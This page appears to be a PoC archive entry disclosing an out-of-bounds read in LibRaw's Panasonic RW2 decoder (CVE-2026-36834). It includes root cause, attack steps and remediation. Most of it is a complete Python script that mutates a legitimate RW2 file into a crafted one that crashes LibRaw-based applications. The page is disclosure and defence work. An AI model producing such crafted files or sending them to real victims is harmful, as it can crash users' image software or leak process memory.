PoC Archive PoC Archive
Medium CVE-2026-36834 unpatched

LibRaw pana8.cpp GetDBit() Out-of-Bounds Array Read (CVE-2026-36834)

by kpatsakis · 2026-07-05

CVSS 6.5/10
Severity
Medium
CVE
CVE-2026-36834
Category
binary
Affected product
LibRaw — src/decoders/pana8.cpp
Affected versions
Prior to commit 777f20ae21c611a78021bd051fbbf1e71eae78f2
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherkpatsakis
CVE / AdvisoryCVE-2026-36834
Categorybinary
SeverityMedium
CVSS Score~6.5 (CVSSv3.1: AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H)
StatusPoC
Tagslibraw, out-of-bounds-read, rw2, huffman, image-parsing, cwe-125, cwe-129
RelatedN/A

Affected Target

FieldValue
Software / SystemLibRaw — src/decoders/pana8.cpp
Versions AffectedPrior to commit 777f20ae21c611a78021bd051fbbf1e71eae78f2
Language / PlatformPython PoC (RW2 file mutator)
Authentication RequiredNo (local file processing)
Network Access RequiredNo

Summary

LibRaw’s GetDBit() function, used when decoding Panasonic RW2 raw image files, can return the value 17 when no Huffman table match is found. However, the huff_coeff[] array is declared with only 17 elements (valid indices 0-16), so this out-of-bounds return value causes huff_coeff[17] to be accessed — undefined behavior confirmed via UBSan and AddressSanitizer. Applications processing untrusted RW2 files (image editors, photo managers using LibRaw) could crash or leak process memory.


Vulnerability Details

Root Cause

GetDBit() can return an index value (17) one past the bounds of the fixed-size huff_coeff[] array (valid range 0-16), with no bounds check before the array access.

Attack Vector

  1. Craft a malicious RW2 (Panasonic raw image) file whose Huffman-coded data causes GetDBit() to return 17.
  2. Have a victim application using LibRaw open/process the malicious RW2 file.
  3. The out-of-bounds huff_coeff[17] read triggers undefined behavior — a crash or potential memory disclosure.

Impact

Applications using LibRaw to process untrusted RW2 files can crash or potentially leak process memory when opening a malicious file.


Environment / Lab Setup

Target:   Any application linking LibRaw prior to the fix commit, opening untrusted RW2 files
Attacker: Python 3 (mutator script) to generate the malicious RW2 file

Proof of Concept

PoC Script

See mutate_rw2.py in this folder.

1
python3 mutate_rw2.py <input.rw2> <output_malicious.rw2>

Mutates a legitimate RW2 file’s Huffman-coded stream to force GetDBit() to return the out-of-bounds index 17, triggering the OOB read when opened by a LibRaw-based application.


Detection & Indicators of Compromise

Signs of compromise:

  • Crashes in LibRaw-based image viewers/editors when opening RW2 files from untrusted sources

Remediation

ActionDetail
Primary fixUpdate LibRaw to a version including commit 777f20ae21c611a78021bd051fbbf1e71eae78f2 or later
Interim mitigationAvoid opening RW2 files from untrusted sources in LibRaw-based applications until patched

References


Notes

Mirrored from https://github.com/kpatsakis/CVE-2026-36834 on 2026-07-05.

mutate_rw2.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#!/usr/bin/env python3
"""
LibRaw pana8 OOB mutator - coordinated disclosure.

This file patches a Panasonic RW2 (RawFormat=4) to trigger the pana8
out-of-bounds read vulnerability by:
  1. Patching tag 0x002d (pana_encoding) from 4 -> 8
  2. Injecting pana8 tags 0x39-0x48 directly into IFD0
     (Panasonic RW2 stores these in IFD0, not in MakerNote)
  3. Crafting tag 0x40 so GetDBit() always returns 17 (OOB index)
  4. Appending 0xFF stripe payload so pixbits MSB is always set

Trigger chain:
  pana_encoding=8 -> panasonicC8_load_raw() -> pana8_decode_strip()
  -> DecodeC8() -> GetDBit() returns 17
  -> huff_coeff[17] accessed (array size=17, valid: 0-16) -> OOB READ
"""
import struct, sys

def u16(d,o): return struct.unpack_from('<H',d,o)[0]
def u32(d,o): return struct.unpack_from('<I',d,o)[0]
def p16(v):   return struct.pack('<H', v & 0xFFFF)
def p32(v):   return struct.pack('<I', v & 0xFFFFFFFF)

SHORT=3; LONG=4; UNDEFINED=7

def build_tag39():
    """0x39: UNDEFINED len=26, count(u16=6) + 6x uint32"""
    b = p16(6) + p32(0)*6
    assert len(b) == 26; return b

def build_tag3A():
    """0x3A: UNDEFINED len=26, count(u16=6) + 6x(u16 pad + u16 val)"""
    b = p16(6)+p16(0)*12
    assert len(b) == 26; return b

def build_tag40():
    """
    0x40: UNDEFINED len=70
    tag40a[i]=16, tag40b[i]=0 for all 17 entries.

    Effect in pana8_param_t constructor:
      huff_coeff[i] = (tag41[i]<<24)|(tag40a[i]<<16)|tag40b[i]
                    = (0<<24)|(16<<16)|0 = 0x00100000
      hlow = (huff_coeff[i]>>16)&0x1F = 16
      v8 computed: h7=16&7=0, hlow-1=15>=7
        hdiff=0-16=-16 -> loop: v8=0xFF(hdiff=-8), v8=0xFFFF(hdiff=0)
      v9 = 0x00100000 & 0xFFFF = 0x0000
      hufftable2[i] = 0xFFFFULL<<(64-16) = 0xFFFF000000000000
      hufftable1[i] = 0x0000<<(64-16)    = 0x0000000000000000

    GetDBit check: (0xFFFF000000000000 & pixbits) == 0
      -> TRUE  only when top 16 bits of pixbits are zero
      -> FALSE when any top bit set (our 0xFF stripe ensures this)
    All 17 checks fail -> returns 0^0x11=17 -> huff_coeff[17] OOB READ
    """
    b = p16(17)
    for _ in range(17): b += p16(16)+p16(0)
    assert len(b) == 70; return b

def build_tag41():
    """0x41: UNDEFINED len=36, count(u16=17) + 17x tag41(u16)=0"""
    b = p16(17)
    for _ in range(17): b += p16(0)
    assert len(b) == 36; return b

def build_tag44(stripe_file_offset):
    """0x44: UNDEFINED len=50, stripe_offsets[0]=stripe_file_offset"""
    b = p16(1)+p32(stripe_file_offset)+p32(0)*4+b'\x00'*28
    assert len(b) == 50; return b

def build_tag46(stripe_bits):
    """0x46: UNDEFINED len=50, stripe_compressed_size[0] in BITS"""
    b = p16(1)+p32(stripe_bits)+p32(0)*4+b'\x00'*28
    assert len(b) == 50; return b

def build_tag47(width):
    """0x47: UNDEFINED len=26, count(u16=1) + 5x u16 stripe_widths + padding"""
    b = p16(1)+p16(width & 0xFFFF)+p16(0)*4+b'\x00'*14
    assert len(b) == 26; return b

def build_tag48(height):
    """0x48: UNDEFINED len=26, count(u16=1) + 5x u16 stripe_heights + padding"""
    b = p16(1)+p16(height & 0xFFFF)+p16(0)*4+b'\x00'*14
    assert len(b) == 26; return b

def read_ifd(data, ifd_off):
    n = u16(data, ifd_off)
    entries, o = [], ifd_off+2
    for _ in range(n):
        tag,typ,cnt,val = struct.unpack_from('<HHII', data, o)
        entries.append((tag,typ,cnt,val))
        o += 12
    return entries

def find_tag(data, ifd_off, target):
    for i,(tag,typ,cnt,val) in enumerate(read_ifd(data, ifd_off)):
        if tag == target:
            entry_offset = ifd_off + 2 + i*12
            return entry_offset, tag, typ, cnt, val
    return None

def mutate(input_path, output_path):
    with open(input_path,'rb') as f:
        data = bytearray(f.read())

    print(f"[*] Input : {input_path}  ({len(data):,} bytes)")
    assert data[0:2] == b'II', "Expected little-endian TIFF"

    ifd0_off = u32(data, 4)
    print(f"[*] IFD0  @ 0x{ifd0_off:x}  ({u16(data, ifd0_off)} entries)")

    # --- 1. Patch pana_encoding: tag 0x002d -> 8 ---
    r = find_tag(data, ifd0_off, 0x002d)
    assert r, "Tag 0x002d not found"
    eoff, _, _, _, old_val = r
    struct.pack_into('<I', data, eoff+8, 8)
    print(f"[*] Patched 0x002d: pana_encoding {old_val} -> 8")

    # --- 2. Get image dimensions ---
    r = find_tag(data, ifd0_off, 0x0003); raw_height = r[4] if r else 3088
    r = find_tag(data, ifd0_off, 0x0002); raw_width  = r[4] if r else 4816
    print(f"[*] Dimensions: {raw_width} x {raw_height}")

    # --- 3. Append stripe payload + tag blobs to end of file ---
    def append(blob):
        off = len(data); data.extend(blob); return off

    # 0xFF stripe: ensures pixbits top bits are set -> GetDBit always returns 17
    stripe_bytes = raw_width * raw_height * 2
    stripe_off   = append(b'\xFF' * stripe_bytes)
    stripe_bits  = stripe_bytes * 8   # panasonicC8_load_raw validates in bits
    print(f"[+] Stripe 0xFF @ 0x{stripe_off:x} ({stripe_bytes:,} bytes)")

    t39_off  = append(build_tag39())
    t3A_off  = append(build_tag3A())
    t40_off  = append(build_tag40())    # <-- OOB trigger
    t41_off  = append(build_tag41())
    t44_off  = append(build_tag44(stripe_off))
    t46_off  = append(build_tag46(stripe_bits))
    t47_off  = append(build_tag47(raw_width))
    t48_off  = append(build_tag48(raw_height))
    print(f"[+] tag40 (huff trigger) @ 0x{t40_off:x}")
    print(f"[+] tag48 (stripe_height)@ 0x{t48_off:x}  height={raw_height}")

    # --- 4. Merge new pana8 tags into IFD0 ---
    new_tags = {
        0x0039: (UNDEFINED, 26,  t39_off),
        0x003A: (UNDEFINED, 26,  t3A_off),
        0x003B: (SHORT,      1,  0),
        0x003C: (SHORT,      1,  0),
        0x003D: (SHORT,      1,  0),
        0x003E: (SHORT,      1,  0),
        0x003F: (SHORT,      1,  0),
        0x0040: (UNDEFINED, 70,  t40_off),
        0x0041: (UNDEFINED, 36,  t41_off),
        0x0042: (SHORT,      1,  1),           # stripe_count=1
        0x0043: (SHORT,      1,  1),
        0x0044: (UNDEFINED, 50,  t44_off),
        0x0045: (UNDEFINED, 50,  t44_off),
        0x0046: (UNDEFINED, 50,  t46_off),
        0x0047: (UNDEFINED, 26,  t47_off),
        0x0048: (UNDEFINED, 26,  t48_off),
    }

    # Merge with existing IFD0 entries, replacing any overlapping tags
    existing = {tag:(typ,cnt,val) for tag,typ,cnt,val in read_ifd(data, ifd0_off)}
    existing.update(new_tags)
    merged = sorted(existing.items())  # ascending tag order (TIFF spec)

    # --- 5. Write new IFD0 at end of file, update IFD0 pointer in header ---
    new_ifd0_off = append(b'')   # current end of file
    ifd_blob  = p16(len(merged))
    for tag,(typ,cnt,val) in merged:
        ifd_blob += struct.pack('<HHII', tag, typ, cnt, val)
    ifd_blob += p32(0)            # no next IFD
    append(ifd_blob)

    # Patch TIFF header IFD0 pointer to point to new IFD
    struct.pack_into('<I', data, 4, new_ifd0_off)
    print(f"[+] New IFD0 ({len(merged)} entries) @ 0x{new_ifd0_off:x}")
    print(f"[+] TIFF header IFD0 pointer -> 0x{new_ifd0_off:x}")

    # --- 6. Write output ---
    with open(output_path,'wb') as f:
        f.write(data)
    print(f"\n[+] Written: {output_path}  ({len(data):,} bytes)")
    print(f"""
[*] Run:
    ASAN_OPTIONS=halt_on_error=1:print_stats=1 \\
      ./bin/dcraw_emu -v {output_path}

[*] Expected ASan crash:
    ERROR: AddressSanitizer: stack-buffer-overflow
    READ of size 4 at ... in pana8_param_t::DecodeC8
    pana8.cpp:250  huff_coeff[huff_index] where huff_index=17
""")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <input.rw2> [output.rw2]")
        sys.exit(1)
    mutate(sys.argv[1], sys.argv[2] if len(sys.argv)>2 else 'mutated_pana8.rw2')